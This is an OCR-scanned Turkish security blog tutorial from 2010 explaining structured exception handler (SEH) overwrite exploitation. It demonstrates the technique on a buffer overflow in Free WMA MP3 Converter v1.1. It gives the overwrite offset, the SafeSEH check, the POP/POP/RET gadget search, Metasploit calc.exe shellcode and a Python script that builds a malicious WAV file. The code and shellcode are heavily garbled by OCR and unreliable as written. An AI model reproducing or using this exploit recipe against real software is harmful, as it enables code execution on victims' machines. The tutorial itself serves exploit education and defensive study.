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written by Mert SARICA | 14 December 2010
Rahmetli milwOrm ve veliahti olan Exploit-DB sitelerine bakacak olursaniz

cogu istismar aracinin SEH (structured exception handler)’'i yani tirkce meali
ile yapilandirilmis 6zel durum islemesini istismar ettigini gdrebilirsiniz.
Sayinin fazla olmasinin nedeni olarak tespit edilmesinin ve istismar
edilmesinin kolay oldugunu soyleyebilirim. Modern windows isletim
sistemlerinde (Vista ve sonrasi) yer alan istismar Onleyici korumalar (SEHOP,
ASLR vs.) SEH istismarini zorlastirmaktadir. Windows 7 kullaniyorum o halde
rahatim dememeniz icin ufak bir ekleme yapayim, (default) varsayilan olarak
kurulan bir Windows 7 isletim sisteminde DEP 6zelligi Windows XP isletim
sisteminde oldugu gibi sadece windows'’un kendi programlarini ve servislerini
korumakta, SEH istismarini zorlastiran SEHOP 6zelligi ise devre disi olarak
gelmektedir bu nedenle modern windows isletim sistemi kullaniyorsaniz

sikilastirmaniz yarariniza olacaktir.

Programlama ile i¢li disli olanlar bilirler, kimi programlama dilinde (C ne
yazikki bunlardan bir tanesi degil) try & catch, try & except gibi hata
yakalamak amaciyla kullanilan 6zel durum islemeleri (bloklar) bulunmaktadir.
Bu bloklarin amaci ic¢lerinde gerceklesen islemlerde bir hatanin ortaya
¢ikmasi durumunda kullaniciyi uyarmak ve islemin devam etmesini durdurmaktir
aksi durumda bu hata, sistem lUzerinde istenmeyen sonuc¢lara yol

acabilmektedir.

Gelistirilen bir programda, hata yakalamak icin kullanilan bu bloklara yer
verilmemesi veya bu bloklarin olusan hatayi yakalayamamasi durumunda isletim
sisteminin hata yakalama blogu olan Windows SEH (isletim sistemi seviyesi)

duruma midahale ederek hatayi yakalamaktadir.

Bir programin hatayi yakalayabilmesi icin her bir hata yakalama blogunu
isaret eden isaretci/gostergec (pointer), yiginda (stack) saklanmaktadir. Bir
programda yer alan tum hata yakalama bloklari birbirlerine zincirdeki
halkalar (SEH chain) gibi baglidirlar ve zincirin son halkasinda Windows SEH
yer alar.

SEH, bir sonraki hata yakalama blogu isaretc¢isi (next seh) ve asil hata
yakalama blogu isaretcisi (seh) olmak lizere 8 bayttan olusmaktadir.

SafeSEH destegi ile gelistirilmis bir program, Windows’daki 6zel durum isleme
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mekanizmalari Uzerinde ek denetimler gerceklestirerek istismari zorlastairir.
Yazimin ilerleyen kismi, SafeSEH korumasi devrede olmayan programlar,
moduller ve DLL dosyalari icin yapilandirilmis 6zel durum islemesinin nasil
kotluye kullanilabilmesi Ulzerinedir.

SEH istismari kisaca ve kabaca arabellek tasmasinda oldugu gibi dinamik bir
degiskene kapasitesinden daha fazla veri kopyalanmasi ile SEH’in ic¢inde yer
alan isaretcilerin uUzerine istenilen adreslerin yazilmasina ve programin

akisinin degistirilmesine denir.
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Daha net anlasilabilmesi adina ufak bir 6rnek Uzerinden gidecek olursak SEH
istismarina imkan taniyan ve arabellek tasmasi zafiyetine sahip olan Free WMA
MP3 Converter v1.1 aracini inceleyelim.

Free WMA MP3 Converter, WMA, WAV ve MP3 uzantili dosyalari birbirilerine
cevirmeye yaran basit bir programdir. Programdaki zafiyetin varligini teyit
etme adina oncelikle bir .wav uzantili bir dosya olusturmamiz gerekmektedir.
Bunun icin bir 6nceki yazimda da kisaca bahsetmis oldugum Metasploit’in
pattern create aracindan faydalanabiliriz. Bu ara¢ ile olusturdugumuz 5000
karakterden olusan diziyi WAV uzantili dosyaya kopyalayalim. Programi
Immunity Debugger ile calistirdiktan sonra “WAV to MP3” menlsune
tikladigimizda bizden herhangi bir WAV dosyasini girdi olarak vermemizi
istemektedir. Bunun icinde bir adim evvel yaratmis oldugumuz WAV dosyasini
kullandigimizda next SEH ve SE Handler’in lzerine basariyla yazabildigimizi



gOrebiliriz. Metasploit’in pattern offset araci ile kag¢inci baytin Next SEH’e
denk geldigine baktigimizda ise 4116. bayt oldugunu gbérebiliriz. Ufak bir
hesaplamadan sonra (FFFC — FEFQ = 268) SE Handler’dan sonraki 268 baytin
Uzerine basariyla istedigimiz veriyi yazabildigimizi goérebiliyoruz.
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e+ C:AWINDOWS\system32\cmd. exe I f

IC:\framework\mnsf3I\tools >pattern_create.rh 5088 > seh_overwrite.txt

C:\franeworks\nsf3\tools>pattern_offset.rh Fh2F 5868
4116

C: \franeworksnsf3stools>

payload = "kaOlallaZiaslatlaShadla?laSiaSib0iblibe ib3 h4ib5ihE b TinSihS le0holie2

wav = open("M3.wav", "u");
wav.uwrite (payload);
wav.close () ;
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Kisaca ortaya cikan durumu ve hemen altinda istismar aracimizi ne sekilde

olusturmamiz gerektigine bakacak olursak;

3
[S000 bayt verinin bir kismi] *+ [Next SEH] * [SE Handler] + [S000 bayt verinin kalan kismi]
[AAAAAAAAAAAAAAAAA...] * [6 hayt atla] + [POP/POP/RET] * [Kabuk kodu ishellcnde)]
1

2

SE Handler’in lzerine POP POP RET komutlarini kopyalamamizin amacli programda
hataya (6zel duruma) yol acmak ve bu sayede programin akisinin Next SEH’e
yonlendirilmesini saglamaktir. Next SEH’te yer alan “6 bayt atla” komutu ile
programin akisi SE Handler Uzerinden 6 bayt atlayarak sistem lzerinde
diledigimiz islemi gerceklestirmemize imkan taniyan kod parcasina yani kabuk
koduna (shellcode) gidecek sekilde devam edecektir.

SE Handler’dan sonraki 268 bayta diledigimizi veriyi yazabildigimiz igin
kabuk kodumuzu buraya koymamiz yeterli olacaktair.



Kimi zaman SE Handler’dan sonraki alan kabuk kodumuz icin yeterli olmayabilir
bu durumda da kabuk kodu ic¢in en ideal yer yukaridaki resimde yer alan 5000
baytlik ilk kisim olacaktir. SE Handler sonrasinda yer alan adrese, geri X
bayt zipla komutu (JMP backward) vererek akisin kabuk kodumuza ilerlemesini
saglayabiliriz.

Oncelikle kabuk kodunu olusturmamiz gerekiyor bunun icin Metasploit araci ile
calc.exe programini calistiran bir kabuk kodu olusturalim.
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POP/POP/RET komutunu SafeSEH 6zelliginin devre disi oldugu ve program
tarafindan kullanilan herhangi bir program, modul veya DLL dosyasinda
aramamiz gerektigi icin Oncellikle bunu bulmakla ise koyuluyoruz. Bunun icin
Immunity Debugger aracinda yer alan SafeSeh scriptini kullanabiliriz.
Isafeseh scripti -m parametresi ile calisiyor bu yuzden hemen Immunity
Debugger’da yer alan “E” butonuna basarak “executable modules” penceresine
hizlica goz atiyor ve sansimizi ilk olarak programin kendisinden yana
(Wmpcon.exe) kullandigimizda programin SafeSEH'i desteklemedigini 6greniyoruz



ve seviniyoruz :) Bir sonraki adimda, bu modilde/programda yer alan
POP/POP/RET adresini aramamiz gerekiyor. Bunun ic¢in Metasploit aracinda yer
alan msfpescan aracindan faydalanabiliriz. Araci asagidaki ekran gorintisinde
yer aldigi sekilde calistirdigimizda hemen istedigimiz adresi buluyoruz ve
istismari gerceklestirmek icin ihtiya¢ duydugumuz tim bilgileri elde etmis
oluyoruz.
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s C:\WINDOWS\system32\cmd.exe

C:\framework\nsf3>ruby nsfpescan —p “C:\Progran Files\Free WMA MP3 Converter\lUmp|
on.exe' | tail n 2
Bl §0xPA4c535h pop esi; pop ebx; et

C:\franework\mnsf3>

Isafeseh -m Wmpco j
[8how Log window (Alt+L> I |Running

Son olarak istismar aracimizi elde ettigimiz bu bilgiler 1siginda gilincelleyip
calistirdigimizda SEH’i basariyla istismar ederek Windows’un hesap makinasi

aracinin (calc.exe) calistigini gOrebiliyoruz.



seh_exploit. py - C:\Documents andi Settings\Administrator\Desktopiseh_exploit. py
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# windows/exec - Z23 bytes &
# http://vvw.metasploit.com

# Encoder: x86/shikata ga nai

# EXITFUNC=seh, CHMD=calc

shellcode = |

™y oadah xodh x2bY ko9t Xxd2h 174 X249 xE4h kb 1Y X320 x5a) xhdh xaah k11"
kB xdeh k83N ol X044 X3 1N K 6a k13 k03N xo0 x02 x6ch xhbh xeg"
™y oedh xE£9Y k44 x10% x0eh 198 xodh xE£54 X3 £Y 188 xaa x7eh xedh x1c"”
™y owbhEh Xd2h x9eh xd 7T Hech oAt K158 K95 X38h xe9h x9eh w104 K1 £ xog "
1Y x95h x9Lh x8ah ®deh kb RE3 N xd0h k304 k18 x5dh x1bh x45h x 59"
™y owOah 41 xakh x0hh XT3 20eh x 154 xheh x£0% 252 xas’, xhdh xdeh xda"
T ROEY Ko k53N k1 ®e2h X Peh x5 ad xdb x0kY x15Y x5V 5TV RESY
™ oREeY x84 xha kBT xEah Ko fh kb1 k7ot x88h ot w13 xddh kY1 el
™y xBhh X022y x4ch Koeh x51% %58\ x88% xe8h x89\ 29\ xe2 x0Ob x3 7y x2a"
w31 x7eh xedh xhEl xadh xd0h X608 X677 x0dh xelh xab xfeh xogh xed”
™02 X7 k804 xE1 95 159 xhah x0dh x1dh 250t xad) x84 65 xTh"
™oxadh xodh x3eh kel ®efh Xxabh k91 x1k xea k130 x4d\ xbe k60 xb1"
™y Oah xhEh xZah xdfh x5dh 148 x 51 xach x5eh X522 158 x85, xI6h K63 "
™ol KT A0 K Ted x30 K20 kb0 x8dy x5890 b8 xZ 5y k34N xT7EY 51"
™2k Xo T K56 K5 K55 X442 X534 kb5 xalh x52h X 164 xh0h xeeh xd2 "
™oxcal xe8h ¥ xh T e x7EARTE x92 xBeh x1eh k13 x7el k51

nseh = "™ xEB\x064Yx904x90™ # 6 bavt atla
zeh ™yxEBRY 53 k4ot x00"  # Ox004c535b pop esi; pop ebhx: ret
exp yxdlTF (4116-10) + "y xI07"*10 + nseh + seh + "\ x90"*12 4+ shellcode

wav = open ("M, wav"™, "w"):
wav.write (exp) ! AL
wav.close () : _:J
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Bu defa video cekmemi isteyenlerin sesine kulak verdim ve konu ile ilgili
ufak bir video cektim.
Bir sonraki yazida gorismek dilegiyle herkese givenli haftalar diliyorum.



